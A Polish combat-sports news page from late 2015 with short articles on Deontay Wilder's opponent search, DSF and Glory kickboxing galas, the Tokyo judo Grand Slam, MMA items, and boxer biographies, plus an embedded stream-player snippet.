Początkowo Wilder miał rywalizować z Wiaczesławem Głazkowem. Wszystko zmieniło się po zwycięstwie Tysona Fury'ego w pojedynku z Władimirem Kliczko. W kontekście styczniowego rywala Wildera pojawiały się kolejne nazwiska. Propozycję otrzymał Tomasz Adamek, jednak „Góral” nie skorzystał z oferty. W gronie potencjalnych rywali mistrza świata WBC wymieniano również: Bermane'a Stiverne'a, Shannona Briggsa, Amira Mansoura.

Trudno się dziwić pięściarzom, którzy nie podjęli wyzwania. Pojedynek odbędzie się 16 stycznia, a więc na przygotowania zostało niewiele czasu. Szpilka był w rytmie treningowym, jest młody i żądny sukcesu. Wilder będzie bronił tytułu po raz trzeci. Walka ze Szpilką odbędzie się rok od pojedynku, w którym Amerykanin wywalczył pas WBC.

KM

Godzina i Paczuski gwiazdami wieczoru

Gala DSF Kickboxing Challenge ponownie zawita do Ząbek. Po roku wielki kickboxing wraca do tej podwarszawskiej miejscowości. W walce wieczoru zaprezentuje się Radosław Paczuski.

Nie zabraknie czołowych postaci kickboxingu w Polsce. 12 grudnia o godzinie 19.00 w Ząbkach przy ul. Batorego 37 odbędzie się szósta gala DSF Kickboxing Challenge.

Zaprezentuje się mistrzyni świata

Kickboxing otwiera coraz szerzej drzwi, aby wejść na salony. Nazwiska najlepszych polskich zawodników przebijają się powoli do świadomości społecznej. W Ząbkach zaprezentuje się czołowa polska zawodniczka, która niedawno wywalczyła tytuł mistrzyni świata. Dorota Godzina w Dublinie sięgnęła po złoty medal w light contact 55kg. Teraz Polka wraca na własne podwórko i chce podtrzymać znakomitą passę. Godzina jest niezwyciężona na galach grupy DSF. Rok temu, 13 grudnia, podczas gali DSF Kickboxing Challenge 2 mistrzyni świata pokonała Ewelinę Nowosielską. Teraz jej rywalką będzie Justyna Skoczek z KO Team Otwock. Młoda zawodniczka stoczy swoją pierwszą walkę zawodową, więc na pewno będzie to dla niej ważny start. Skoczek nie ma miłych wspomnień z rywalizacji z Godziną. Niedawno fighterka z Otwocka poległa w starciu z mistrzynią świata w walce podczas Pucharu Polski w kick light. Panie zmierzą się w K-1 w kategorii 56kg.

Podczas gali dojdzie do meczu międzypaństwowego, w którym Polska podejmie Białoruś. Podczas wcześniejszych gal biało-czerwoni okazali się lepsi od Macedonii i Łotwy. W naszej ekipie zaprezentuje się Jan Lodzik, który w 63,5kg podejmie Maxima Pietkievicia. Andrej Xaminok będzie rywalem Rafała Dudka w 70kg. W walce wieczoru zaprezentuje się robiący ustawiczne postępy Radosław Paczuski. W przeciągu ostatniego roku fighter na swoim koncie zapisał tytuł mistrza Polski, a także wywalczył wicemistrzostwo Europy. Do tej pory Paczuski stoczył dwa zwycięskie pojedynki na galach DSF. Czy podtrzyma dobrą passę? Jego rywalem w Ząbkach w kategorii w 81kg będzie Karen Tumasian.

Czas na rewanże

Podczas gali w Ząbkach dojdzie do rewanżowego pojedynku między Tomaszem Klimiukiem, a Wojciechem Stawickim. Zawodnik z Białegostoku w tym roku wygrał turniej wagi ciężkiej DSF. W pokonanym polu zostawił m.in. Stawickiego, od którego lepszy okazał się również podczas mistrzostw Polski low kick. Podczas gali DSF w Warszawie Klimiuk szybko uporał się ze swoim najbliższym rywalem. Z kolei we Włocławku okazał się lepszy od Michała Bławdziewicza, co dało mu tytuł najlepszego ciężkiego. Stawicki liczy, że w końcu przełamie dwumetrowego fightera z Białegostoku.

Swojej szansy poszuka również Jakub Bartnik, który zmierzy się z Sebastianem Żukowskim. Tutaj także dojdzie do rewanżu. Żukowski okazał się lepszy od Bartnika podczas DSF Kickboxing Challenge 2. W Ząbkach zaprezentują się również Patryk Kuryłek, Kamil Szłapka, Paweł Nowakowski, Sebastian Słoń.

KM

Mistrzostwa Europy Wushu Kraków 2015

Zapraszamy na transmisję telewizyjną na żywo z Mistrzostw Europy Wushu, które odbywają się Krakowie.

Dzień 1 (piątek) – 11.12.2015 r.- godz. 14.00 – 19.00

Dzień 2 (sobota) – 12.12.2015 r. – godz. 8.30 – 19.30

Dzień 3 (niedziela) – 13.12.2015 r. – godz. 8.30 – 14.00

[kod]

Mistrzostwa Europy Wushu Kraków 2015

Mistrzostwa Europy Wushu Kraków 2015

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/ME_WUSHU_Krakow2015.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/ME_WUSHU_Krakow2015.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/ME_WUSHU_Krakow2015.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/ME_WUSHU_Krakow2015.livx/Manifest"
},
width: 640,
height: 385,
autoplay: false,
});

Deontay Wilder

Amerykański bokser wagi ciężkiej urodzony 22 października 1985 roku w Tuscaloosa  w stanie Alabama. Wilder jest zdobywcą brązowego medalu Igrzysk Olimpijskich w 2008 roku w Pekinie.  Wilder zdecydował się podpisać zawodowy kontrakt, ponieważ został ojcem, kiedy jeszcze był niepełnoletni. Jego córka miała od urodzenia chory kręgosłup, dlatego szukał szybkiej formy zarobku. Od listopada 2008 roku walczy na zawodowym ringu. Do 15 marca 2014 roku stoczył 31 walk, wszystkie wygrywając przez nokaut. 15 marca 2014 roku na gali w portorykańskim Bayamon, Wilder pokonał przez KO w pierwszej rundzie rodaka Malika Scotta. 16 sierpnia 2014 w Kalifornii pokonał przez RTD w czwartej rundzie rodaka Jason Gavern. 17 stycznia 2015 roku w Las Vegas po jednogłośnej decyzji sędziów w pojedynku z Haitańczykiem z kanadyjskim paszportem Bermane’em Stiverne’em został mistrzem świata organizacji WBC.  13 czerwca 2015 roku w pierwszej obronie pasa mistrzowskiego znokautował rodaka Erica Molinę w dziewiątej rundzie. 26 września 2015 roku pokonał przez techniczny nokaut w jedenastej rundzie Johanna Duhaupasa. 16 stycznia 2016 roku w walce o pas WBC, Wilder znokautował w 9 rundzie Artura Szpilkę i obronił swój tytuł.

Justino nie zmienia kategorii

Wydaje się, że w zapomnienie odeszły plany dotyczące pojedynku Rondy Rousey z Cristiane Justino. Do niedawna trwała burzliwa dyskusja na temat pojedynku. Wydawało się, że starcie jest coraz bardziej prawdopodobne. Pojawiła się Holly Holm i temat jakby zniknął.

Świat był pod wrażeniem Rousey. Jej szybkości, zwrotności i skuteczności. Justino nie mogła się z tym pogodzić i głośno mówiła, że to ona jest najlepszą fighterką świata. Tak naprawdę tylko ich walka mogła o tym rozstrzygnąć.

Justino broni pasa w piórkowej

Do pojedynku Rousey z Justino miało dojść na UFC. Wydawało się, że kompromis jest coraz bliżej. Kwestią problemową przez długi czas było ustalenie limitu wagowego, w którym miałby spotkać się panie. Rousey rywalizuje w kategorii koguciej, a Justino w piórkowej. Zawodniczka z Brazylii gotowa była zejść do wagi 140 funtów. To starcie już wisiało w powietrzu, dyskusja stawała się coraz gorętsza. Jednak Brazylijka potrzebowała czasu, aby zejść do niższej wagi.

Zawodniczki prowadziły ze sobą korespondencyjną rywalizację. Jedna, jak i druga kończyły swoje pojedynki bardzo szybko. Ronda potrzebowała czternastu sekund, aby pokonać Cat Zingano. Świat przecierał oczy ze zdumienia, że można tak szybko zakończyć walkę. Justino również nie bawiła się w dyplomację i starała się w ekspresowym tempie rozstrzygać swoje walki. Zajmowało jej to więcej czasu niż Amerykance. W ostatnim pojedynku Justino uporała się z Faith Van Duin w czterdzieści pięć sekund.

Całą sytuację zaogniał fakt, że Rousey pozwalała sobie wypominać dopingowy epizod Justino. Po pojedynku z Hiroko Yamanaką testy antydopingowe nie skończyły się pomyślnie dla popularnej „Cyborg”. Była mistrzyni UFC chętnie wypominała ten fakt swojej niedoszłej rywalce.

Brazylijka ponownie zaprezentuje się w wadze piórkowej. Obecnie nie ma sensu schodzenie do niższej wagi, skoro pojedynek z Rondą jest nierealny. Amerykanka zapewne pokusi się o rewanż z Holly Holm, jednak nadal wielu fanów MMA liczy, że Justino w końcu pojawi się w UFC.

Polak przygotowuje się do debiutu

Damian Grabowski czeka na swój pierwszy pojedynek w UFC. 6 lutego Polak zmierzy się z Derrickiem Lewisem. Amerykanin stoczył sześć pojedynków w UFC i zanotował cztery zwycięstwa. Grabowski przyzwyczajony jest do rywalizacji na najwyższym poziomie. Do debiutu w UFC chce przygotować się jak najlepiej. W grudniu będzie trenował w Poznaniu, a na początku przyszłego roku wyruszy do Stanów Zjednoczonych. W swoich planach Grabowski uwzględnia treningi w American Kickboxing Academy.

A teraz ciekawostka. Rousey pokazała, że walkę można kończyć w mgnieniu oka. Byłej mistrzyni UFC daleko jednak do Mario Satyi Wirawana. Zawodnik z Indonezji w zaledwie sześć sekund posłał na deski Chan Henga podczas gali One FC: Kingdom of Khmer.

KM

Tyson Fury

Brytyjski bokser wagi ciężkiej urodzony 12 sierpnia 1988 roku w Manchesterze.  W 2006 roku zdobył brązowy medal na Mistrzostwach Świata Juniorów w Agadirze w Maroku a w 2007 złoty medal Juniorów Unii Europejskiej w Warszawie oraz srebrny Mistrzostw Europy Juniorów w Somborze w Serbii.  Futy na zawodowym ringu zadebiutował 6 grudnia 2008 roku w Nottingham, wygrywając przez techniczny nokaut w pierwszej rundzie z Węgrem Belem Gyongyosi’em w sześciorundowym pojedynku. 20 kwietnia 2013 roku w Madison Square Garden walczył z byłym mistrzem Świata w kategorii junior ciężkiej Steve’em Cunninghamem, pokonując go przez nokaut w siódmej rundzie. Dzięki tej wygranej Fury zagwarantował sobie drugie miejsce w rankingu IBF. 15 lutego 2014 w Copper Box w Londynie wygrał przez techniczny nokaut z Amerykaninem Joey’m Abellem w czwartej rundzie. 29 listopada 2014 w londyńskim ExCel London pokonał przez techniczny nokaut Derecka Chisorę w dziesiątej rundzie. 28 lutego w londyńskiej O2 Arena pokonał przed czasem Christiana Hammera. Po ósmej rundzie pojedynek został poddany przez Rumuna. 29 listopada 2015 roku po pokonaniu Wołodymyra Kłyczko został mistrzem świata kategorii ciężkiej organizacji IBF, WBO, WBA i IBO. 

David Haye

Angielski bokser urodzony 13 października 1980 roku w Londynie. W 1999 roku uczestniczył w mistrzostwach świata w boksie amatorskim w Houston, rywalizując w kategorii półciężkiej. Nie odniósł tam jednak sukcesu, przegrywając już w drugiej walce z Michaelem Simmsem. Dwa lata później na mistrzostwach świata w Belfaście, walcząc w kategorii ciężkiej, zdobył srebrny medal. W finale przegrał z Odlanierem Solisem.  Na zawodowstwo przeszedł w grudniu 2002 roku. W następnym roku wygrał siedem walk, wszystkie przed czasem. 12 maja 2004 roku wygrał przez techniczny nokaut w trzeciej rundzie z byłym mistrzem świata IBF Arthurem Williamsem, natomiast 10 września 2004 roku doznał pierwszej porażki w zawodowej karierze, przegrywając po technicznym nokaucie w piątej rundzie z byłym mistrzem WBO Carlem Thompsonem. Po stoczeniu kilku zwycięskich pojedynków z mniej znanymi bokserami, 16 grudnia 2005 roku zmierzył się w walce o tytuł zawodowego mistrza Europy z Ołeksandrem Hurowem. Haye znokautował Ukraińca w pierwszej rundzie. Brytyjczyk obronił ten tytuł dwukrotnie, a nastepnie 17 listopada 2006 roku, w walce eliminacyjnej WBC, pokonał przez techniczny nokaut w dziewiątej rundzie Giacobbe Fragomeniego. W kwietniu 2007 roku rozprawił się w pierwszej rundzie z Polakiem Tomaszem Boninem. Następnie 10 listopada 2007 roku zmierzył się z Jeanem-Markiem Mormeckiem. Stawką pojedynku były pasy mistrzowskie WBC i WBA. Haye pokonał Francuza przez techniczny nokaut w siódmej rundzie. 8 marca 2008 roku wygrał walkę unifikacyjną z mistrzem WBO, Enzo Maccarinellim, pokonując go w drugiej rundzie przez techniczny nokaut. 12 maja 2008 roku zrezygnował z tytułu mistrza Świata WBC. Niedługo potem oddał też tytuły organizacji WBA i WBO  i zmienił kategorię wagową na ciężką. 15 listopada 2008 roku,  w pierwszej walce w nowej kategorii wagowej, pokonał przez techniczny nokaut w piątej rundzie Monte Barretta. 7 listopada 2009 roku pokonał na punkty Nikołaja Wałujewa i został nowym mistrzem Świata WBA w kategorii ciężkiej. 3 kwietnia 2010 roku po raz pierwszy obronił tytuł pokonując Johna Ruiza przez techniczny nokaut w dziewiątej rundzie, a 13 listopada 2010 roku, w drugiej obronie, wygrał z Audleyem Harrisonem przez techniczny nokaut w trzeciej rundzie. W lipcu 2011 roku zmierzył się w walce unifikacyjnej z mistrzem świata organizacji WBO i IBF Wołodymyrem Kłyczko. Brytyjczyk przegrał zdecydowanie na punkty i stracił pas mistrzowski WBA. 11 października 2011 roku Haye ogłosił, że nie zamierza przedłużać swojej licencji bokserskiej. W lutym 2012 roku na konferencji prasowej po walce Derecka Chisory z Witalijem Kłyczką wraz ze swoim trenerem wdał się w bójkę z Chisorą. Pięć miesięcy później doszło do pojedynku obu bokresów, Haye pokonał Chisorę przez techniczny nokaut w piątej rundzie. Od tego czasu Haye nie stoczył żadnego pojedynku. 29 czerwca 2013 miało dojść do pojedynku Brytyjczyka z Manuelem Charrem, został on jednak odwołany z uwagi na kontuzję lewej ręki, doznanej przez Haye’a w maju podczas treningu. Następnie 28 września 2013 roku Haye miał się zmierzyć z Tysonem Fury’m. Walka jednak została odwołana przez kontuzję Haye’a. Doznał on rozcięcia łuku brwiowego nad lewym okiem, które wymagało założenia sześciu szwów. Pojedynek został początkowo przełożony na 8 lutego 2014 roku, jednak został ponownie odwołany, bowiem w listopadzie 2013 roku Haye musiał się poddać operacji ramienia. 

Verhoeven podbił Amsterdam

W Amsterdamie odbyła się gala Glory 26. Rico Verhoeven obronił pas mistrzowski w wadze ciężkiej.

Glory na dobre wróciło do Europy. Fani kickboxingu ze Starego Kontynentu z niecierpliwością wyczekiwali, kiedy będą mogli zobaczyć w akcji czołowych fighterów świata. Po galach w Ameryce Północnej Glory wróciło do Europy. 6 listopada byliśmy świadkami obrony tytułu mistrzowskiego przez Robina van Roosmalena we Włoszech. Gala Glory 26 również dostarczyła wielu emocji i efektownych akcji.

Udana obrona

Benjamin Adegbuyi po raz kolejny podjął próbę ataku na pas mistrzowski Glory w wadze ciężkiej. Doskonale wiedział, że staje przed trudnym zadaniem, gdyż 26-letni van Roosmalen nie zwykł przegrywać. Mistrz z Holandii to doświadczenie i ogromne umiejętności. Verhoeven  swoją pozycję budował występując na galach K-1 Max, Superkombat oraz Showtime. W Glory zadebiutował w grudniu 2012 roku w Tokio w turnieju wagi ciężkiej. Holender pokonał Siergieja Kharitonova, ale w kolejnej walce lepszy okazał się Semmy Schilt, który zwyciężył całą rywalizację. W 2014 roku sięgnął po tytuł mistrza organizacji pokonując po pięciorundowej walce na punkty Daniela Ghitę z Rumunii. Do tej pory trzy razy bronił pasa, w tym dwukrotnie spotkał się z Benjaminem Adegbuyi.

Podczas Glory 22 w Lille doszło do pierwszego starcia Holendra i Rumuna. Pięć rund morderczej walki nie wyłoniło zwycięzcy, więc głos należał do sędziów, którzy wskazali na Verhoevena. Adegbuyi powziął sobie za cel rewanż i ponowną próbę zdobycia pasa. Wystąpił na gali Glory 24 w Denver, gdzie stoczył dwa pojedynki i wygrał turniej wagi ciężkiej. Udowodnił tym samym, że zasługuje na jeszcze jedną szansę. W Amsterdamie mistrz czuł się jak w domu i pokazał, że potrafi nokautować. Od początku ruszył na Rumuna. Verhoeven skutecznie rozbijał gardę swojego rywala. Postraszył 30-latka wysokim kopnięciem, ten odpowiedział zaledwie low kickiem. Napór Holendra przyniósł pożądany efekt już po dwóch minutach. Po prawym sierpowym Adegbuyi wylądował na deskach. Wszystko było jasne. Verhoeven zachował  pas.

Kontrowersyjna obrona

W półśredniej 77kg spotkali się Nieky Holzken i Murthel Groenhardt. 31-latek miał na swoim koncie osiem wygranych z rzędu i dzierżył w dłoniach mistrzowski pas. Groenhardt walczy w kratkę, jednak w ostatnich dwóch pojedynkach triumfował. Faworytem był Holzken, jednak momentami wydawało się, że to pretendent nadaje ton walce. Groenhardt przebijał się ze swoimi ciosami przez gardę mistrza. Obaj byli skoncentrowani i uważni. Holzken zdecydował się zaatakować. W końcówce niskie kopnięcia zrobiły wrażenie na rywalu. Groenhardt poczuł ból i zachwiał się na nogach. Do samego końca nie było wiadomo, kto wygra. Walka wyrównana, jednak pas zostaje u Holzkena.

W Amsterdamie doszło do rozstrzygnięcia w turnieju w wadze 65kg. Najlepszy okazał się Mosab Amrani. Marokańczyk w półfinale w pierwszej w rundzie odprawił Chi-Bin Lima. Z kolei w finale zdominował w pełni Maykolę Yurka. Brazylijczyk przyjął serię ciosów i kopnięć na korpus. Poległ w pierwszej rundzie.

KM 

Rywala jak nie było, tak nie ma

Okazuje się, że to nie takie proste zorganizować walkę o mistrzostwo świata wagi ciężkiej. Teoretycznie każdy chciałby znajdować się w posiadaniu pasa, jednak Deontay Wilder ma problem, aby znaleźć rywala, a kolejny pojedynek zaplanowano na 16 stycznia.

Czas płynie nieubłaganie i nie ma się, co oszukiwać, że w tak szybkim tempie można osiągnąć wysoką dyspozycję. Mistrz świata WBC w kategorii królewskiej w pośpiechu szuka przeciwnika i z każdym kolejnym dniem jest coraz bardziej tą sytuacją poirytowany.

Brakuje chętnych

Gdy Władimir Kliczko był wielkim mistrzem wagi ciężkiej i posiadał cztery pasy, IBF, WBO, IBO, WBA, nie miał problemów ze znalezieniem rywala. Być może fakt ten był uwarunkowane tym, że Ukrainiec długo zasiadał na tronie i nikt nie mógł znaleźć na niego sposobu. Zawsze ustawiała się kolejka chętnych do rywalizacji z Kliczko. W końcu czas dominacji Ukraińca dobiegł końca. Jego miejsce zajął Tyson Fury. Bokser z Wysp Brytyjskich powinien spotkać się z Deontayem Wilderem i odbyć poważną rozmowę. Okazuje się, że bycie mistrzem może być uciążliwe. Boks polega na rywalizacji, a co zrobić, gdy nie można znaleźć rywala? Pozostaje załamać ręce.

Wilder stanął przed nie lada problemem. 16 stycznia Amerykanin ma pojawić się w ringu. Nadal nie wiadomo, kto będzie jego rywalem. Propozycję walki z Wilderem odrzucił Tomasz Adamek. Poszukiwania trwają dalej. – To jest niezwykle frustrujące, że nadal nie mam rywala. Jestem krytykowany za swoje pojedynki. Nawet po pokonaniu Kliczko wszyscy powiedzieliby, że jego czas już minął – powiedział Wilder.

Trudno się spodziewać, że 16 stycznia mistrz świata WBC zmierzy się z którymś z potentatów wagi królewskiej. Każdy bokser chce mieć czas, aby przygotować się do pojedynku. Nikt nie zaryzykuje swojej pozycji, aby w niepełnej dyspozycji wejść do ringu i skazać się na porażkę. Wilder wspominał, że gotów byłby się zmierzyć z Arturem Szpilką bądź Amirem Mansourem. Polak i Amerykanin mieli się stoczyć pojedynek w grudniu, jednak starcie przełożono na początek przyszłego roku. Wręcz niemożliwe jest, aby któryś z nich był najbliższym rywalem niepokonanego Wildera.  – Dochodzi do mnie więcej informacji o Szpilce niż Mansourze. Polak przyciągnąłby na trybuny swoich kibiców, którzy mogliby stać się moimi fanami, choć takich w Polsce już mam. Mansour lubi dużo gadać i raczej niemiałby szans, aby poradzić sobie z moimi atutami – ocenia potencjalnych rywali Amerykanin.

Pas nie jest magnesem?

Propozycję rywalizacji z Wilderem odrzucił również Wiaczesław Głazkow. Czy nikt nie chce być mistrzem świata? Nie w tym rzecz. Problemem jest czas. Wilder nie może spodziewać się, że każdy naprędce rzuci się, aby rywalizować o pas.

Każdy pięściarz posiada plan swojej kariery i jednym złym ruchem nie chce spaść w hierarchii. Wydaje się, że w najbliższym pojedynku Wilder będzie musiał zmierzyć się z kimś co najwyżej przeciętnym, kto dzięki takiej walce może odnieść określoną korzyść finansową. Do tej pory dwukrotnie bronił tytuł, jednak Eric Molina Johann Duhaupas nie sprawili mu problemów. Wilder jest coraz bardziej sfrustrowany. Trudno się dziwić. Mistrz powinien wzbudzać zainteresowanie, a ta sytuacja pokazuje, że tak nie jest.

KM

Japończycy rządzą w Tokio

Sezon zmierza ku końcowi. Najlepsi judocy świata rywalizują o cenne punkty do klasyfikacji olimpijskiej w Tokio, gdzie odbywają się zawody Grand Slam im. Jigoro Kano.

Od początku na tatami wyraźnie dominują Japończycy. Do Tokio udało się pięcioro reprezentantów Polski. Biało-czerwoni nie zachwycili.

Beta wygrał jedną walkę

Tak samo było rok temu. Aleksander Beta jako jedyny z Polaków po raz kolejny udał się na zawody Grand Slam w Tokio. Można powiedzieć, że powtórzył swój wynik i po raz kolejny stoczył dwa pojedynki w turnieju im. Jigoro Kano. W premierowej walce Polak walczący w kategorii 66kg spotkał się z Adrianem Gombocem ze Słowenii. Pojedynek zacięty, jednak żaden z judoków nie potrafił zaskoczyć swojego rywala. Gomboc dopuścił się nieczystego zagrania na kilka sekund przed końcem i to zadecydowało o wygranej Bety. W kolejnej walce Polak spotkał się z Japończykiem Tomofumi Takajo. Zawodnik z Kraju Kwitnącej Wiśni nie pozostawił naszemu zawodnikowi żadnych złudzeń. Początkowo Polak starał się postraszyć rywala, jednak skończyło się na karze shido. Gdy Takajo ruszył do ofensywy Beta był bezradny. W ciągu trzydziestu sekund dwukrotnie zdobył punkty przez waza-ari. Warto nadmienić, że Japończyk triumfował w kategorii 66kg. W finale Takajo pokonał swojego rodaka Masashi Ebinumę.

Za wielkich szans nie miał Michał Bartusik, który również rywalizował w kategorii 66kg. Polak trafił na mocnego reprezentanta Mongolii Tumurkhulega Davaadorja. Bartusik uzbierał trzy kary shido, a jego rywal również nie walczył czysto. Sędzia dwukrotnie upomniał Davaadorja, który na swoim koncie zapisał również yuko.

Młodzieżowa mistrzyni Europy w kategorii 52kg Karolina Pieńkowska jako jedyna z naszych pań zawitała do Tokio, jednak szybko pożegnała się z turniejem. W pierwszej walce Polka spotkała się z Odettą Guiffridą. Włoszka zaprezentowała się z dobrej strony. Była szybka, agresywna i skuteczna. Polka również starała się zaskoczyć swoją przeciwniczkę, ale stosowała nieczyste zagrania. Po upływie dwóch minut Guiffrida zapisała na swoim koncie yuko. Pojedynek zakończył się po upływie prawie czterech minut.

Łukasz Błach w kategorii 81kg dobrze rozpoczął start w Tokio. Polak potrzebował czterech minut, aby rozstrzygnąć na swoją korzyść walkę z Diogo Limą. W kolejnym pojedynku trafił na mocnego Japończyka. Yasuhiro Ebi wygrał przez ippon.

Japoński szał w Tokio

Początek rywalizacji zdecydowanie należał do reprezentantów Kraju Kwitnącej Wiśni. Japończycy triumfowali w siedmiu kategoriach, a na swoim koncie zapisali już szesnaście medali. Warto pamiętać, że rywalizacja trwa nadal.

Na pierwszym stopniu podium w kategorii 48kg stanęła Ami Kondo, Misato Nakamura triumfowała w 52kg, Tsukasa Yoshida okazała się najlepsza w 57kg, a Chizuru Arai w 70kg. Wśród panów Japończycy zdominowali rywalizację w kategoriach 60kg, 66kg i 73kg. Triumfowali kolejno Naohisa Takato, wspomniany Takajo oraz Hiroyuki Akimoto.

KM

Gala Oscara de la Hoyi w L.A., prestiżowy turniej judo Grand Slam i 6 GSW w Międzychodzie – tydzień w FightKlubie

Gala Oscara de la Hoyi w L.A., prestiżowy turniej judo Grand Slam i 6 GSW w Międzychodzie – tydzień w FightKlubie. 
 
Grand Slam w judo: Karolina Pieńkowska znów wylosowała Giuffridę
Odette Giuffrida to jedna z najtrudniejszych rywalek dla Karoliny Pieńkowskiej(-52kg). Okazja do pokonania włoskiej judoczki będzie już jutro podczas Grand Slamu w Tokio. To najważniejszy turniej w sezonie, po Mistrzostwach Świata. Transmisje od piątku do niedzieli o g. 8:00 na żywo na naszej antenie.
 
W prestiżowych zawodach wystąpi 5 reprezentantów Polski. Biało-Czerwoni uniknęli w pierwszej rundzie największych sław, ale w turnieju im. Jigoro Kano aż roi się od gwiazd. Najmocniejszą kadrę wystawili Japończycy, szczególnie w wadze -73kg, gdzie jest dwóch zawodników mających na koncie tytuł mistrza globu – Riki Nakaya i Hiroyuki Akimoto. Nie startuje początkowo zgłoszony Shohei Ono. W tej kategorii wystąpi Damian Szwarnowiecki. Jeśli wrocławianin pokona Masayuki Teradę z Filipin, potem zapewne spotka się z Kim Gi-Wook z Korei Płd.

W wadze -66kg wolny los ma Aleksander Beta, a jego następnym przeciwnikiem będzie prawdopodobnie Słoweniec Adrian Gomboc. Z koleiMichał Bartusik wylosował zajmującego trzecie miejsce w rankingu światowym Tumurkhulega Davaadorj (Mongolia). Polak na tej liście jest 112. W kategorii -81kg Łukasz Błach spotka się w 1/32 finału z Portugalczykiem Diogo Limą, a jeśli z nim wygra, będzie rywalizował z Japończykiem Yasuhiro Ebi.
Łącznie zgłoszonych jest 181 zawodniczek i 295 zawodników z 476 państw. Turniej w Tokio kończy cykl IJF Tour 2015.

""

VI Gala Sportów Walki w Międzychodzie
Przez kilka lat klub MMA Devil Międzychód, na czele z Przemysławem Kniochem, stworzył prestiżowe wydarzenie na polskiej scenie MMA jakim jest Gala Sportów Walki w Międzychodzie. Szósta edycja z pewnością nie będzie gorsza od poprzednich. Spore zainteresowanie kibiców wzbudzają goście honorowi, którzy swoją obecnością uświetnią galę. W tym roku do Międzychodu przyjadą Marcin Różalski, Daniel Omielańczuk oraz Borys Mańkowski. W ringu zobaczymy natomiast m.in. Bartłomieja Kurczewskiego i Jakuba Kowalewicza. Kto jeszcze stanie do walki? – tego dowiemy się podczas retransmisji w FightKlubie, w piątek 4 grudnia o godz. 22:00
 
4/5 grudnia: Gala Oscara de la Hoyi w Los Angeles
Na kolejnej gali pod patronatem Oscara de la Hoyi w głównej walce wieczoru zobaczymy występ młodziutkiego Amerykanina Christiana Gonzaleza. Reprezentujący kategorię super piórkową “Chimpa” w dorobku ma już 11 zwycięstw w tym aż 10 przez nokaut z czego aż 7 w pierwszej rundzie. Kolejny test czeka go w nocy z 4 na 5 grudnia g. 04:00. Jego rywalem będzie Meksykanin Alejandro Ochoa. Powtórka gali w sobotę o 11:30. Zapraszamy!

""

FILM PROMOCYJNY:

[kod]

Adamek nie chciał pasa

Wydawało się, że wielkie marzenia Tomasza Adamka o podbiciu wagi ciężkiej umarły po pojedynku z Witalijem Kliczko. Dodatkowo na krajowym podwórku pierwszeństwo w kategorii królewskiej od „Górala” przejął Artur Szpilka. 39-latek mógł pomarzyć o wielkich walkach. Okazuje się, że szansa wejścia na szczyt pojawiła się raz jeszcze.

Adamek otrzymał propozycję walki z mistrzem świata WBC Deontayem Wilderem. Wszyscy chóralnie zapytają, kiedy dojdzie do pojedynku i chętnie zasiądą przed telewizorami, ale rozczarują się. Zapewne obejrzą starcie z udziałem Wildera, ale jego rywalem nie będzie Polak.

Wielki świat nie dla niego

W pierwszej chwili przeżywamy szok i zadajemy sobie pytanie, dlaczego Adamek nie skorzystał z takiej oferty. Przecież to szansa jedna na milion i nie zdarza się codziennie. Zwłaszcza biorąc pod uwagę wiek „Górala” oraz jego ostatnie występy. Przez dwa lata stoczył trzy pojedynki, z czego dwa przegrał.

Był już u szczytu. Wywalczył to, co mógł. Adamek królował w wadze juniorciężkiej i półciężkiej. Toczył fenomenalne boje. Na długo kibice w Polsce zapamiętają jego pełne zwrotów akcji pojedynki z Paullem Briggsem. Po wielu sukcesach postanowił przejść do kategorii królewskiej. Na początek rozprawił się z Andrzejem Gołotą w walce, która dla wielu Polaków była symbolem. Legendarny „Andrew”, który przez lata był nadzieją białych poległ. Adamek wygrał pięć kolejnych walk i dostał możliwość rywalizacji z tytanem z Ukrainy – Witalijem Kliczko. Wszyscy podkreślali, że „Góralowi” brakuje jednego. Chodziło o mocny, nokautujący cios. Kliczko w dziesiątej rundzie rozstrzygnął walkę na swoją korzyść. To było maksimum, które mógł z siebie wykrzesać Adamek.

Stoczył jeszcze kilka pojedynków i walczył, aby wrócić na szczyt, jednak odbił się jak od ściany od Wiaczesława Głazkova. Na tym skończyła się kariera Adamka za oceanem. Wrócił do Polski. Na krajowym podwórku doszło do wyczekiwanego pojedynku „Górala” ze Szpilką. Niepokorny „Szpila” wykazał się spokojem oraz mądrością i wygrał. Bokser z Wieliczki pojechał za ocean, a Adamek został w kraju i skusił się na walkę z Przemysławem Saletą. Wygrał. Wrócił do czołowej piętnastki rankingu WBC i stał się pretendentem do tytułu mistrzowskiego.

Propozycja ze strony czempiona Wildera pojawiła się. Adamek nie podjął rękawicy. To nie on stanie 16 stycznia na wprost mistrza nokautów. Kogo wybierze Wilder? Może zdecyduje się na Artura Szpilkę? 

Dlaczego?

Może i serce by chciało, ale rozum mówi co innego. Adamek imponował zawsze mądrością. Wielu krytykowało go za przejście do wagi ciężkiej, ale on harował, aby spełnić się jako bokser. Zrobił wszystko, aby tak było.

Sam wie najlepiej, na co go teraz stać. Woli zapewne stoczyć kilka pojedynków w Polsce niż jechać do Stanów i rzucić się na pożarcie tygrysowi.

KM

Nadchodzą dni mistrzowskiej rywalizacji

Zapowiadają się wielkie emocje, zacięte i niezwykle widowiskowe walki oraz radość, a także łzy. Taki obraz towarzyszy imprezom na poziomie mistrzowskim. Zapewne emocji nie zabraknie podczas mistrzostw Polski oriental rules w Starachowicach.

Impreza rozpocznie się już 4 grudnia i potrwa trzy dni. Rywalizacja odbędzie się w formule oriental rules juniorów i seniorów oraz kick light weteranów.

Widowisko gwarantowane

Za autora okrzyku „chleba i igrzysk” uważa się starorzymskiego poetę Juwenalisa. Z pewnością w tych słowach zawierała się treść potrzeb Rzymian, którzy wybierali się na walki gladiatorów i oczekiwali rozlewu krwi. Cesarz organizował igrzyska, aby zaspokoić wymagania swoich poddanych. 

Czasy się zmieniły. Teraz nie walczy się na miecze, choć krew podczas rywalizacji często się pojawia. Czy Juwenalis powiedziałby ponownie, że trzeba nam „chleba i igrzysk”? Z pewnością gale sportów walki są towarem pożądanym przez społeczność. Widać to po rosnącym zainteresowaniu kolejnymi wydarzeniami. Tym razem środek ciężkości przeniesie się do Starachowic, gdzie w dniach 4-6 grudnia odbędą się mistrzostwa Polski  w formule oriental rules juniorów i seniorów oraz kick light weteranów.

